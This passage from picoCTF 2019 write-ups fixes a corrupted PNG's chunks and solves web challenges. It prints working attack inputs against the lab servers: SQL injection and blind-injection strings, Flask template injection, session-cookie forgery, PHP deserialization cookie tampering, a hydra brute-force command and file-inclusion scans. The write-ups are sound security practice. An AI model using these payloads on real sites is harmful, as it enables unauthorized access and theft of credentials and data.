    00000080: b7 c1 0d 70 03 74 b5 03 ae 41 6b f8 be a8 fb dc  ...p.t...Ak.....
    00000090: 3e 7d 2a 22 33 6f de 5b 55 dd 3d 3d f9 20 91 88  >}*"3o.[U.==. ..
   ```
4. After the header come a series of chunks. Each chunk starts with 4 bytes for the length of the chunk, 4 bytes for the type, then the chunk content itself (with the length declared earlier) and 4 bytes of a checksum. See the "5.3 Chunk layout" section of [this page](https://www.w3.org/TR/2003/REC-PNG-20031110/#5Chunk-layout) for more information.
5. The first chunk is called `IHDR` and has the length of `0xD`, so we know that the next 8 bytes are `00 00 00 0D 49 48 44 52` (hex):

   ```
    $ xxd -g 1 mystery.png | head
    00000000: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52  .PNG........IHDR
    00000010: 00 00 06 6a 00 00 04 47 08 02 00 00 00 7c 8b ab  ...j...G.....|..
    00000020: 78 00 00 00 01 73 52 47 42 00 ae ce 1c e9 00 00  x....sRGB.......
    00000030: 00 04 67 41 4d 41 00 00 b1 8f 0b fc 61 05 00 00  ..gAMA......a...
    00000040: 00 09 70 48 59 73 aa 00 16 25 00 00 16 25 01 49  ..pHYs...%...%.I
    00000050: 52 24 f0 aa aa ff a5 ab 44 45 54 78 5e ec bd 3f  R$......DETx^..?
    00000060: 8e 64 cd 71 bd 2d 8b 20 20 80 90 41 83 02 08 d0  .d.q.-.  ..A....
    00000070: f9 ed 40 a0 f3 6e 40 7b 90 23 8f 1e d7 20 8b 3e  ..@..n@{.#... .>
    00000080: b7 c1 0d 70 03 74 b5 03 ae 41 6b f8 be a8 fb dc  ...p.t...Ak.....
    00000090: 3e 7d 2a 22 33 6f de 5b 55 dd 3d 3d f9 20 91 88  >}*"3o.[U.==. ..
   ```
6. Now the file is identified as a PNG file:

   ```
    $ file fixed.png
    fixed.png: PNG image data, 1642 x 1095, 8-bit/color RGB, non-interlaced
   ```
7. `pngcheck` lists two more errors to solve:

   ```
    pngcheck -vf mystery.png
    File: mystery.png (202940 bytes)
    chunk IHDR at offset 0x0000c, length 13
        1642 x 1095 image, 24-bit RGB, non-interlaced
    chunk sRGB at offset 0x00025, length 1
        rendering intent = perceptual
    chunk gAMA at offset 0x00032, length 4: 0.45455
    chunk pHYs at offset 0x00042, length 9: 2852132389x5669 pixels/meter
    CRC error in chunk pHYs (computed 38d82c82, expected 495224f0)
    :  invalid chunk length (too large)
   ```

   We need to fix the CRC (checksum) error in chunk `pHYs` and find a chunk with an invalid length.
8. The CRC error means that either the checksum (CRC value) is corrupted, or the data is. To solve this error in chunk `pHYs` we can simply replace the CRC (expected) value with the computed value. The purpose of the CRC section is to check for corruption of the data. It essentially is a checksum of that chunk. While replacing the CRC will work, the more "correct" method is to correct the content of `pHYs` in order to get the same CRC, thus fixing the corruption that occurred. The below table shows the layout of the `pHYs` chunk:

   | Name                    | Length                         | Current Value |
   | ----------------------- | ------------------------------ | ------------- |
   | Pixels per unit, X axis | 4 bytes (PNG unsigned integer) | aa 00 16 25   |
   | Pixels per unit, Y axis | 4 bytes (PNG unsigned integer) | 00 00 16 25   |
   | Unit specifier          | 1 byte                         | 01            |

   Since the pixels per unit differ in just one byte, and the `0xaa` for the X axis makes the value very large, it makes sense to place a zero instead. This fixes the checksum.

   ```
    $ xxd -g 1 mystery.png | head
    00000000: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52  .PNG........IHDR
    00000010: 00 00 06 6a 00 00 04 47 08 02 00 00 00 7c 8b ab  ...j...G.....|..
    00000020: 78 00 00 00 01 73 52 47 42 00 ae ce 1c e9 00 00  x....sRGB.......
    00000030: 00 04 67 41 4d 41 00 00 b1 8f 0b fc 61 05 00 00  ..gAMA......a...
    00000040: 00 09 70 48 59 73 00 00 16 25 00 00 16 25 01 49  ..pHYs...%...%.I
    00000050: 52 24 f0 aa aa ff a5 ab 44 45 54 78 5e ec bd 3f  R$......DETx^..?
    00000060: 8e 64 cd 71 bd 2d 8b 20 20 80 90 41 83 02 08 d0  .d.q.-.  ..A....
    00000070: f9 ed 40 a0 f3 6e 40 7b 90 23 8f 1e d7 20 8b 3e  ..@..n@{.#... .>
    00000080: b7 c1 0d 70 03 74 b5 03 ae 41 6b f8 be a8 fb dc  ...p.t...Ak.....
    00000090: 3e 7d 2a 22 33 6f de 5b 55 dd 3d 3d f9 20 91 88  >}*"3o.[U.==. ..
   ```

   ```
    $ pngcheck -v -f mystery.png
    File: fixed.png (202940 bytes)
    chunk IHDR at offset 0x0000c, length 13
        1642 x 1095 image, 24-bit RGB, non-interlaced
    chunk sRGB at offset 0x00025, length 1
        rendering intent = perceptual
    chunk gAMA at offset 0x00032, length 4: 0.45455
    chunk pHYs at offset 0x00042, length 9: 5669x5669 pixels/meter (144 dpi)
    :  invalid chunk length (too large)
    ERRORS DETECTED in fixed.png
   ```
9. The `invalid chunk length (too large)` error does not specify a chunk, so we must begin at the start and check each chunk, with the knowledge of the format of chunks and each field’s length: 4 bytes (length) - 4 bytes (chunk type) - lengthbytes (data) - 4 bytes (CRC).
10. The chunk after `pHYs` has a size of `0xaaaaffa5`, which is very large, and a type of `\xabDET` which doesn't exist. The closest chunk type is [IDAT](https://www.w3.org/TR/2003/REC-PNG-20031110/#11IDAT). Let's fix that by replaying the chunk name with `49 44 41 54` (hex).
11. To solve the large chunk length we need to calculate the chunk length and update its value. `IDAT` chunks must be consecutive so lets find the next one. We find the next IDAT at offset `0x10008`. The first IDAT was at offset `0x57`. The difference is FFB1. We must subtract 4 bytes for the length field of the second IDAT, subtract 4 bytes for the CRC of the first IDAT, and subtract 4 bytes again for the chunktype of the first IDAT. Subtracting 12 in total, we get FFA5. Replace the length field with `00 00 FF A5` (hex). The original value was `0xAAAAFFA5` so we just needed to overwrite the `AAAA` with `0000`.
12. Running `pngcheck mystery.png` shows `mystery.png (1642x1095, 24-bit RGB, non-interlaced, 96.3%).` which means there are no errors and we can open the image: ![Mystery image fixed using above method](https://2203535566-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-MZKCwD-RpAyLnCo8v8r%2Fsync%2F7a7c895362325dea538e8058a5e6f8b5a35a3631.png?generation=1619558789428505\&alt=media)

### Flag

`picoCTF{c0rrupt10n_1847995}`


# Web Exploitation


# Java Script Kiddie 2

## Problem

> The image link appears broken... twice as badly... <https://2019shell1.picoctf.com/problem/27396> or <http://2019shell1.picoctf.com:27396>

## Solution

1. Webpage source code:

   ```markup
    <html>
        <head>
            <script src="jquery-3.3.1.min.js"></script>
            <script>
                var bytes = [];
                $.get("bytes", function(resp) {
                    bytes = Array.from(resp.split(" "), x => Number(x));
                });

                function assemble_png(u_in){
                    var LEN = 16;
                    var key = "00000000000000000000000000000000";
                    var shifter;
                    if(u_in.length == key.length){
                        key = u_in;
                    }
                    var result = [];
                    for(var i = 0; i < LEN; i++){
                        shifter = Number(key.slice((i*2),(i*2)+1));
                        for(var j = 0; j < (bytes.length / LEN); j ++){
                            result[(j * LEN) + i] = bytes[(((j + shifter) * LEN) % bytes.length) + i]
                        }
                    }
                    while(result[result.length-1] == 0){
                        result = result.slice(0,result.length-1);
                    }
                    document.getElementById("Area").src = "data:image/png;base64," + btoa(String.fromCharCode.apply(null, new Uint8Array(result)));
                    return false;
                }
            </script>
        </head>
        <body>

            <center>
                <form action="#" onsubmit="assemble_png(document.getElementById('user_in').value)">
                    <input type="text" id="user_in">
                    <input type="submit" value="Submit">
                </form>
                <img id="Area" src=""/>
            </center>

        </body>
    </html>
   ```
2. Run `$.get("bytes", function(resp) {bytes = Array.from(resp.split(" "), x => Number(x));});` from the source code in developer console to get list of bytes:

   ```
    143 224 86 71 69 249 251 10 253 96 0 114 121 72 68 119 179 127 191 114 13 159 207 114 249 0 0 79 9 192 95 0 174 239 118 2 0 187 54 65 21 0 156 36 0 65 138 0 222 49 59 95 114 34 0 202 155 120 200 95 73 55 11 82 0 179 231 31 69 252 68 176 174 7 54 87 0 73 110 108 137 121 0 226 165 127 26 90 66 3 247 88 155 20 191 220 0 0 78 241 113 78 1 122 0 110 206 219 212 188 243 57 164 80 1 91 158 10 68 193 1 14 163 228 11 171 193 55 48 0 0 24 188 0 94 243 84 3 52 0 20 73 175 84 82 0 69 149 143 73 16 35 48 146 241 13 239 48 63 206 201 16 96 126 32 134 80 52 151 209 216 0 0 227 252 92 191 110 25 46 34 15 126 135 152 89 211 237 183 239 252 102 59 36 54 34 210 90 213 47 23 205 187 81 127 140 199 23 127 164 252 225 221 53 7 32 216 173 65 63 198 105 180 7 214 239 158 226 141 149 210 249 73 123 71 91 199 235 203 239 133 187 217 95 103 243 204 107 255 226 207 59 127 249 131 249 241 7 181 66 38 73 218 102 0 159 106 117 171 231 197 32 249 218 75 217 199 221 178 128 159 248 128 213 51 0 241 75 127 73 46 210 252 250 102 59 122 13 85 56 199 31 11 248 152 209 107 15 240 46 223 54 125 135 132 231 216 105 2 227 187 226 175 222 96 2 43 109 191 83 213 211 184 91 86 238 172 97 100 16 85 139 32 191 110 223 37 238 155 133 251 210 252 18 157 210 139 176 9 11 128 241 38 204 1 183 168 13 153 223 60 107 16 62 241 154 32 223 90 51 73 22 121 55 20 177 73 161 177 164 252 206 255 103 110 141 196 163 141 94 4 138 31 91 182 108 250 173 200 127 113 69 154 126 59 82 253 84 253 200 7 242 61 96 149 226 52 134 223 96 237 180 91 21 73 56 0 235 73 243 173 176 100 242 47 147 44 156 149 38 11 8 127 196 228 226 174 95 88 57 40 71 65 24 91 127 84 9 109 37 91 223 157 254 228 103 157 213 146 72 203 211 0 77 239 180 218 205 189 91 126 191 40 31 242 131 90 19 164 82 53 211 246 171 243 121 69 249 243 31 169 20 195 178 32 181 244 236 95 191 16 183 191 174 249 204 169 167 176 59 241 41 43 52 211 183 59 157 251 156 228 119 254 11 107 25 101 108 153 44 43 12 113 171 39 254 193 77 92 92 146 0 206 183 126 196 196 254 127 17 80 173 159 38 246 101 212 196 16 201 81 90 245 215 61 166 176 105 227 248 189 173 179 197 198 60 54 181 62 143 231 163 247 126 79 118 145 96 54 169 16 109 206 11 72 27 106 154 55 183 26 184 111 251 85 210 55 127 242 205 23 221 46 212 29 27 128 73 71 19 252 203 231 51 212 59 127 198 12 65 191 254 233 231 157 89 47 250 254 79 244 230 238 183 155 255 142 223 229 214 110 157 115 236 243 73 231 126 193 174 175 251 130 89 213 0 0 185
   ```
3. This website is similar to the first "Java Script Kiddie" except for this line: `shifter = Number(key.slice((i*2),(i*2)+1));`. This effectively ignores every second value in the key. Since `var LEN = 16` is the same, the script for the previous challenge can be used again but with a random value (I chose `0`) added between character.
4. Run [script.py](https://github.com/HHousen/PicoCTF-2019/tree/24b0981c72638c12f9a8572f81e1abbcf8de306d/Web%20Exploitation/Java%20Script%20Kiddie%202/script.py). For each character of the key, this script will try all digits until one is found that places the expected value in the current location. It also adds padding (`0`) after each digit found.

   Output:

   ```bash
    Key: 50706000107050006010009030000030
    Key Length: 32
   ```
5. Enter key into website and save image: ![QR code from website](https://2203535566-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-MZKCwD-RpAyLnCo8v8r%2Fsync%2F736eb52cffb7f56b4bfa14539eb70124a3141538.png?generation=1619558789824053\&alt=media)
6. Use `zbar` (`sudo apt install zbar-tools`): `zbarimg index.png` and get the flag:

   ```bash
    QR-Code:picoCTF{b19be0d3b70ffc63b6367ecf136e853e}
    scanned 1 barcode symbols from 1 images in 0.03 seconds
   ```

### Flag

`picoCTF{b19be0d3b70ffc63b6367ecf136e853e}`


# Empire1

## Problem

> Psst, Agent 513, now that you're an employee of Evil Empire Co., try to get their secrets off the company website. <https://2019shell1.picoctf.com/problem/27357/> (link) Can you first find the secret code they assigned to you? or <http://2019shell1.picoctf.com:27357>

* [Website](https://2019shell1.picoctf.com/problem/27357/)

## Solution

1. Create an account and sign in
2. Attempt to add a todo of `{{config}}` (since this is a flask application and that would leak important configuration details about the application)
3. Most likely the add todo is using an `INSERT` SQL statement so try concat: `string'||'concated?'||'`. It works!
4. Run `'||(select secret from user)||'` but only gets one secret
5. So use a group\_concat to get all secrets: `' || (select group_concat(secret) from user) || '`

### Flag

`picoCTF{wh00t_it_a_sql_inject9899be1a}`


# Empire2

## Problem

> Well done, Agent 513! Our sources say Evil Empire Co is passing secrets around when you log in: <https://2019shell1.picoctf.com/problem/40536/> (link), can you help us find it? or <http://2019shell1.picoctf.com:40536>

* [Website](https://2019shell1.picoctf.com/problem/40536/)

## Solution

1. Create an account and sign in
2. Use EditThisCookieto get flask session cookie
3. Use <https://www.kirsle.net/wizards/flask-session.cgi> to decode the cookie or use Empire3 solution to decode.&#x20;

### Example Cookie

Encoded:

```
.eJwljzFuwzAMRe-iOQNlSqKUtUBP0F2gKDI10taFbA9FkLtXQLY_vAe8_3DVhu6f7nqMUy-urt1dXYgIzXPPKNIpcwQuzIopIhomgUSYuaeWAaVAQy6tS2mBrHgWxB6RKAH6FgJnZF5iakytZJWF2cBPuEhULMuCgjH7EBQk4iIazV2c7MPqsd31Z_YYK4WQcwxAnRBUzc8WBZPgfcne9w5zTa_zuNddZegxxd9VtreP98d67JXrt9a_7RzVvvhGOVlBo-d0zl3H6zi65z9H6FCp.XaOo9w.vk17n4yNDaVXM9EAfQWOBfycsRc
```

Decoded:

```
{
    "_fresh": true,
    "_id": "4530b1ad83ccd78a50a9aae36533f36c06738ad6b803c90b3a9bdc9b47f91ac33d53776031b44a83aa256ba7b98ec2aaf019b49c5e39223c358144e0c532ce5f",
    "csrf_token": "fae744885407d730eef1653e0fc4119811dd0411",
    "dark_secret": "picoCTF{its_a_me_your_flag786f93f7}",
    "user_id": "3"
}
```

### Flag

`picoCTF{its_a_me_your_flag786f93f7}`


# cereal hacker 1

## Problem

> Login as admin. <https://2019shell1.picoctf.com/problem/49879/> or <http://2019shell1.picoctf.com:49879>

* [Website](https://2019shell1.picoctf.com/problem/49879/)

## Solution

1. Credential bruteforcing: The credentials can be found with `hydra` and the `http[s]-{get|post}-form` module. Module help can be printed with `hydra http-post-form -U`. This article about [using hydra on a web-based login page](https://linuxhint.com/crack-web-based-login-page-with-hydra-in-kali-linux/) was somewhat helpful in this step. Final command:

   ```bash
    hydra -L /usr/share/seclists/Usernames/top-usernames-shortlist.txt -P /usr/share/seclists/Passwords/Common-Credentials/10-million-password-list-top-10000.txt -F 2019shell1.picoctf.com -s 49879 http-post-form "/index.php?file=login:user=^USER^&pass=^PASS^:Invalid Login"
   ```

   The `user=` and `pass=` are the post variables found from the debugging console in Firefox. See image below. ![Image of networking tab in Firefox showing form parameters](https://2203535566-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-MZKCwD-RpAyLnCo8v8r%2Fsync%2F23a3bc5675b5220b7c69a45fbb61e0294450a7c0.png?generation=1619558788260885\&alt=media)

   Result:

   ```bash
    Hydra v9.0 (c) 2019 by van Hauser/THC - Please do not use in military or secret service organizations, or for illegal purposes.

    [INFORMATION] reading restore file ./hydra.restore
    [WARNING] options after -R are now honored (since v8.6)
    Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2020-05-31 22:10:14
    [DATA] max 16 tasks per 1 server, overall 16 tasks, 170000 login tries (l:17/p:10000), ~10625 tries per task
    [DATA] attacking http-post-form://2019shell1.picoctf.com:49879/index.php?file=login:user=^USER^&pass=^PASS^:Invalid Login
    [STATUS] 4115.00 tries/min, 4115 tries in 00:01h, 165885 to do in 00:41h, 16 active
    [STATUS] 2981.33 tries/min, 8944 tries in 00:03h, 161056 to do in 00:55h, 16 active
    [STATUS] 2691.71 tries/min, 18842 tries in 00:07h, 151158 to do in 00:57h, 16 active
    [49879][http-post-form] host: 2019shell1.picoctf.com   login: guest   password: guest
    [STATUS] attack finished for 2019shell1.picoctf.com (valid pair found)
    1 of 1 target successfully completed, 1 valid password found
    Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2020-05-31 22:23:17
   ```
2. Login as `guest:guest`.
3. Get cookie
4. URL and Base64Decode:
   * Option 1: Use [URLdecoder](https://www.urldecoder.org/) to decode the cookie twice then use [base64decoder](https://www.base64decode.org/) to decode what you get from [URLdecoder](https://www.urldecoder.org/) to get: `O:11:"permissions":2:{s:8:"username";s:5:"guest";s:8:"password";s:5:"guest";}`
   * Option 2: Use [CyberChef](https://gchq.github.io/CyberChef/) with this recipe: `[{"op":"URL Decode","args":[]},{"op":"URL Decode","args":[]},{"op":"From Base64","args":["A-Za-z0-9+/=",true]}]`.
5. Change that result to `O:11:"permissions":2:{s:8:"username";s:5:"admin";s:8:"password";s:11:"' or '1'='1";}` (`s:11` and not `s:5` because the number corresponds to the length of the string which is PHP standard)
6. Encoding
   * Option 1: Encode using [base64encode](https://www.base64encode.org/) to get `TzoxMToicGVybWlzc2lvbnMiOjI6e3M6ODoidXNlcm5hbWUiO3M6NToiYWRtaW4iO3M6ODoicGFzc3dvcmQiO3M6MTE6Iicgb3IgJzEnPScxIjt9`. If there are equal signs after the cookie is base64 encoded then run the base64 encoded string through [URLencoder](https://www.urlencoder.org/) twice.
   * Option 2: Use [CyberChef](https://gchq.github.io/CyberChef/) with this recipe: `[{"op":"To Base64","args":["A-Za-z0-9+/="]},{"op":"URL Encode","args":[true]},{"op":"URL Encode","args":[true]}]`.
7. Set cookie to new cookie
8. Change URL to `file=admin`
9. You got the flag

### Flag

`picoCTF{0d040919669d2bc1501212f90450eb4c}`


# Empire3

## Problem

> Agent 513! One of your dastardly colleagues is laughing very sinisterly! Can you access his todo list and discover his nefarious plans? <https://2019shell1.picoctf.com/problem/45132/> (link) or <http://2019shell1.picoctf.com:45132>

* [Website](https://2019shell1.picoctf.com/problem/45132/)

## Solution

1. Create an account and sign in
2. Use EditThisCookieto get flask session cookie
3. Create a todo of `{{config}}` and get the flask `SECRET_KEY` variable (used for encoding session cookies)
4. Paste `SECRET_KEY` into `secret_key` variable of attached script
5. Paste flask cookie into `regular_user_cookie` variable of attached script
6. Run script to decode cookie and paste into `cookie_dict` variable
7. Change `"user_id": "x"` to `"user_id": "2"`
8. Run script again and change cookie to the new cookie
9. Reload the page and the flag should be given

### Example Output

```
Decoded Cookie:
{'_fresh': True, '_id': '669830bc929eb8755b468ad78734441992a8275815de8e86acaefc907af730c0f014a3c1aebb5c4f81924a9e400164894ab9f21fda058f1542b5d07c5cccc5a3', 'csrf_token': '86c56031ea9ab7555bb9e367a80f6a3bf72a1c59', 'user_id': '3'}

Encoded Cookie For User 2:
.eJwlzzFqBTEMBNC7uE4h2ZIt5TKLpJVICCSw-38VcvdvyHRTDLz5bUddeX-09_a4ntne2vF57jKnygAP7Zoui9lpip1L1iAiVO0mfbEgnykp08KyQmFZrQEBBUg2Ai3dOagEtZNpEgBOEiVzrY51GrAUMnXnE1Zw7LCNDYn7quPx85Xf2yMzeMLANDXfHHbXHHOZQE0bXqsbBuvePe-8_k_09vcCf5o-3g.XaOrlQ.dWJr-X0v22Dhdt0rswb0cvI3lMk
```

### Flag

`picoCTF{cookies_are_a_sometimes_food_8038d44f}`


# cereal hacker 2

## Problem

> Get the admin's password. <https://2019shell1.picoctf.com/problem/62195/> or <http://2019shell1.picoctf.com:62195>

## Solution

1. Scan for files that can be loaded using the `file` parameter in the URL (`http://2019shell1.picoctf.com:62195/index.php?file=FUZZ`):

   ```bash
    kali@kali:~$ wfuzz -w /usr/share/seclists/Discovery/Web-Content/common.txt --hs "Unable to locate" http://2019shell1.picoctf.com:62195/index.php?file=FUZZ

    Warning: Pycurl is not compiled against Openssl. Wfuzz might not work correctly when fuzzing SSL sites. Check Wfuzz's documentation for more information.

    ********************************************************
    * Wfuzz 2.4.5 - The Web Fuzzer                         *
    ********************************************************

    Target: http://2019shell1.picoctf.com:62195/index.php?file=FUZZ
    Total requests: 4652

    ===================================================================
    ID           Response   Lines    Word     Chars       Payload
    ===================================================================

    000000487:   200        25 L     71 W     1108 Ch     "admin"
    000000493:   200        0 L      0 W      0 Ch        "admin.php"
    000001222:   200        6 L      17 W     500 Ch      "cookie"
    000002014:   200        12 L     33 W     993 Ch      "head"
    000002151:   200        0 L      0 W      0 Ch        "index.php"
    000002468:   200        34 L     82 W     1423 Ch     "login"
    000002148:   200        215826   575537   177337523   "index"
                            6 L      7 W       Ch

    Total time: 62.45093
    Processed Requests: 4652
    Filtered Requests: 4645
    Requests/sec.: 74.49048
   ```

   The `--hs` argument hides responses that match the specifies regex. When the file is not found the text "Unable to locate" is displayed so those responses are ignored.
2. Run [P0cL4bs/kadimus](https://github.com/P0cL4bs/kadimus) with `./kadimus -u https://2019shell1.picoctf.com/problem/62195/index.php?file=FUZZ -S -f admin --parameter file` to find `require_once('cookie.php');` in `admin.php`.
3. Ouput of `/kadimus -u https://2019shell1.picoctf.com/problem/62195/index.php?file=FUZZ -S -f cookie --parameter file`:

   \`\`\`php \<?php

   require\_once('../sql\_connect.php');

   // I got tired of my php sessions expiring, so I just put all my useful information in a serialized cookie class permissions { public $username; public $password;

   ```
        function __construct($u, $p){
                $this->username = $u;
                $this->password = $p;
        }

        function is_admin(){
                global $sql_conn;
                if($sql_conn->connect_errno){
                        die('Could not connect');
                }
                //$q = 'SELECT admin FROM pico_ch2.users WHERE username = \''.$this->username.'\' AND (password = \''.$this->password.'\');';

                if (!($prepared = $sql_conn->prepare("SELECT admin FROM pico_ch2.users WHERE username = ? AND password = ?;"))) {
                    die("SQL error");
                }

                $prepared->bind_param('ss', $this->username, $this->password);

                if (!$prepared->execute()) {
                    die("SQL error");
                }

                if (!($result = $prepared->get_result())) {
                    die("SQL error");
                }

                $r = $result->fetch_all();
                if($result->num_rows !== 1){
                        $is_admin_val = 0;
                }
                else{
                        $is_admin_val = (int)$r[0][0];
                }

                $sql_conn->close();
                return $is_admin_val;
        }
   ```

   }

   / *legacy login* / class siteuser { public $username; public $password;

   ```
        function __construct($u, $p){
                $this->username = $u;
                $this->password = $p;
        }

        function is_admin(){
                global $sql_conn;
                if($sql_conn->connect_errno){
                        die('Could not connect');
                }
                $q = 'SELECT admin FROM pico_ch2.users WHERE admin = 1 AND username = \''.$this->username.'\' AND (password = \''.$this->password.'\');';

                $result = $sql_conn->query($q);
                if($result->num_rows != 1){
                        $is_user_val = 0;
                }
                else{
                        $is_user_val = 1;
                }

                $sql_conn->close();
                return $is_user_val;
        }
   ```

   }

````
if(isset($_COOKIE['user_info'])){
        try{
                $perm = unserialize(base64_decode(urldecode($_COOKIE['user_info'])));
        }
        catch(Exception $except){
                die('Deserialization error.');
        }
}

?>
```

This reveals why SQLi will not work anymore. The website moved to prepared statements (`if (!($prepared = $sql_conn->**prepare**("SELECT ad`...) which are much safer. However, the `siteuser` class does not have this. It is vulnerable.
````

1. We can use the same format from `cereal hacker 1` but with `siteuser` instead of `permissions`: `O:8:"siteuser":2:{s:8:"username";s:5:"admin";s:8:"password";s:11:"' or '1'='1";}`. Use [CyberChef](https://gchq.github.io/CyberChef/) with the recipe from before (`[{"op":"To Base64","args":["A-Za-z0-9+/="]},{"op":"URL Encode","args":[true]},{"op":"URL Encode","args":[true]}]`) to encode the cookie.
2. Run `curl http://2019shell1.picoctf.com:62195/index.php?file=admin -H "Cookie: user_info=Tzo4OiJzaXRldXNlciI6Mjp7czo4OiJ1c2VybmFtZSI7czo1OiJhZG1pbiI7czo4OiJwYXNzd29yZCI7czoxMToiJyBvciAnMSc9JzEiO30%253D"` to get admin page.
3. Run [script.py](https://github.com/HHousen/PicoCTF-2019/tree/24b0981c72638c12f9a8572f81e1abbcf8de306d/Web%20Exploitation/cereal%20hacker%202/script.py) to get the flag. This script performs a blind error-based SQL injection. It sends a request with the cookie from above, but it changes the password field using the pattern below:

   ```sql
    ' or password like BINARY 'p%
    ' or password like BINARY 'pi%
    ' or password like BINARY 'pic%
    ' or password like BINARY 'pico%
    ' or password like BINARY 'picoC%
    ' or password like BINARY 'picoCT%
    ' or password like BINARY 'picoCTF%
   ```

   The program loops through ascii numbers and characters, trying each one until a login is successful. When the login is successful, the program appends that character to the stored flag and starts the loop again. The loop runs until the login is successful by adding the "}" character ("}" is end of flag) or until the list of characters is completely looped through in one iteration. If the second case were to happen then that means no character tested as valid or the end of the password has been reached.

### Flag

`picoCTF{c9f6ad462c6bb64a53c6e7a6452a6eb7}`


# Java Script Kiddie

## Problem

> The image link appears broken... <https://2019shell1.picoctf.com/problem/57738> or <http://2019shell1.picoctf.com:57738>

## Solution

1. Webpage source code:

   ```markup
    <html>
        <head>
            <script src="jquery-3.3.1.min.js"></script>
            <script>
                var bytes = [];
                $.get("bytes", function(resp) {
                    bytes = Array.from(resp.split(" "), x => Number(x));
                });

                function assemble_png(u_in){
                    var LEN = 16;
                    var key = "0000000000000000";
                    var shifter;
                    if(u_in.length == LEN){
                        key = u_in;
                    }
                    var result = [];
                    for(var i = 0; i < LEN; i++){
                        shifter = key.charCodeAt(i) - 48;
                        for(var j = 0; j < (bytes.length / LEN); j ++){
                            result[(j * LEN) + i] = bytes[(((j + shifter) * LEN) % bytes.length) + i]
                        }
                    }
                    while(result[result.length-1] == 0){
                        result = result.slice(0,result.length-1);
                    }
                    document.getElementById("Area").src = "data:image/png;base64," + btoa(String.fromCharCode.apply(null, new Uint8Array(result)));
                    return false;
                }
            </script>
        </head>
        <body>

            <center>
                <form action="#" onsubmit="assemble_png(document.getElementById('user_in').value)">
                    <input type="text" id="user_in">
                    <input type="submit" value="Submit">
                </form>
                <img id="Area" src=""/>
            </center>

        </body>
    </html>
   ```
2. Run `$.get("bytes", function(resp) {bytes = Array.from(resp.split(" "), x => Number(x));});` from the source code in developer console to get list of bytes:

   ```
    137 147 206 121 126 59 121 231 0 4 121 188 174 107 242 107 0 124 231 234 119 50 0 0 1 147 229 170 73 153 65 191 164 121 48 249 53 254 26 10 84 199 169 75 0 28 1 53 48 82 78 249 171 61 1 114 224 133 203 169 155 66 255 130 145 80 1 183 76 131 68 65 89 229 134 32 113 72 148 82 12 0 0 184 2 218 186 76 169 250 151 249 194 192 96 108 170 0 134 157 119 75 131 120 112 231 157 255 131 65 68 235 231 12 6 192 0 222 228 69 249 69 255 1 157 110 95 204 59 230 195 71 13 0 183 112 6 0 78 68 32 78 138 41 76 175 239 114 0 10 107 243 179 0 0 13 25 144 54 75 141 137 226 2 135 0 74 146 212 120 0 0 49 119 154 121 231 191 113 63 61 73 207 252 109 29 156 237 237 205 44 181 255 234 45 201 81 7 111 130 76 72 160 71 252 189 222 4 45 102 16 164 153 122 6 236 97 221 248 223 189 159 191 15 186 67 214 172 254 6 103 1 239 222 111 241 128 173 157 249 176 240 95 173 172 207 128 248 254 100 121 231 32 123 102 156 187 25 219 126 99 10 127 136 254 208 144 42 223 245 199 191 126 63 242 65 146 62 217 103 195 245 123 51 216 107 122 239 128 4 205 81 87 164 77 166 255 1 56 191 144 200 56 6 36 54 208 38 51 163 146 136 97 152 102 86 67 136 54 254 211 246 158 221 31 179 191 243 21 0 230 168 247 251 222 113 110 91 32 183 22 244 45 1 220 168 97 180 247 205 207 14 199 186 146 106 250 144 115 222 151 173 111 131 220 144 233 122 255 219 176 73 150 157 22 143 74 217 68 101 232 176 170 113 254 92 169 250 106 153 148 251 31 124 122 156 191 239 186 121 94 197 5 252 248 34 55 29 252 124 181 226 55 127 124 206 48 75 126 234 94 137 135 121 191 89 24 135 209 221 81 56 181 115 52 122 68 77 240 90 247 182 197 190 111 203 15 236 79 123 223 170 144 93 244 56 247 7 190 219 76 219 245 39 129 110 133 226 176 46 193 253 78 206 160 247 86 91 37 36 24 234 87 241 98 57 36 107 14 56 242 135 213 233 55 229 121 228 96 149 95 6 92 30 230 184 44 149 107 102 16 42 182 95 228 158 18 21 32 205 77 53 94 221 173 252 21 127 15 82 95 163 242 120 224 214 163 0 230 91 72 244 111 255 32 95 225 170 135 57 178 172 87 45 193 84 78 90 202 51 178 127 63 249 165 189 47 239 27 208 191 248 67 223 59 130 249 207 207 49 252 164 114 231 181 214 188 181 227 26 125 27 198 147 64 200 215 229 143 249 29 171 227 252 115 152 80 6 143 53 160 77 210 113 143 214 204 219 20 236 102 252 153 126 12 3 249 152 188 213 49 94 226 157 55 144 180 159 251 199 200 141 203 31 146 9 206 111 7 85 183 119 73 111 109 171 243 240 189 215 29 215 242 235 162 178 174 106 73 165 173 84 219 232 242 250 59 147 235 27 119 211 11 99 98 142 102 37 139 64 58 30 49 178 226 245 73 253 239 252 179 115 177 18
   ```
3. The website takes the above list of bytes and shifts them based on the key the user enters. For each character in the key, the script shifts every 16th byte starting with byte `i`, where `i` is the index of the character in the key. In this way, the first 16 bytes of the image correspond to the 16 digits in the user-specified key.
4. A [PNG file](http://www.libpng.org/pub/png/spec/1.2/PNG-Structure.html) consists of a PNG signature followed by a series of chunks. The first eight bytes of a PNG file always contain the following (decimal) values: `137 80 78 71 13 10 26 10`. Each chunk header has a well-known structure: 4 bytes of length and 4 bytes of chunk type. The [first chunk](http://www.libpng.org/pub/png/spec/1.2/PNG-Chunks.html) is called `IHDR` and has the length of `0xD`, so we know that the next 8 bytes are `00 00 00 0D 49 48 44 52`.
5. Run [script.py](https://github.com/HHousen/PicoCTF-2019/tree/24b0981c72638c12f9a8572f81e1abbcf8de306d/Web%20Exploitation/Java%20Script%20Kiddie/script.py). For each character of the key, this script will try all digits until one is found that places the expected value in the current location.

   Output:

   ```bash
    Key: 0438892208991464
    Key Length: 16
   ```
6. Enter key into website and save image: ![QR code from website](https://2203535566-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-MZKCwD-RpAyLnCo8v8r%2Fsync%2F16a79c46cd26112a041e83fadda241ab65b4787d.png?generation=1619558787307363\&alt=media)
7. Use `zbar` (`sudo apt install zbar-tools`): `zbarimg index.png` and get the flag:

   ```bash
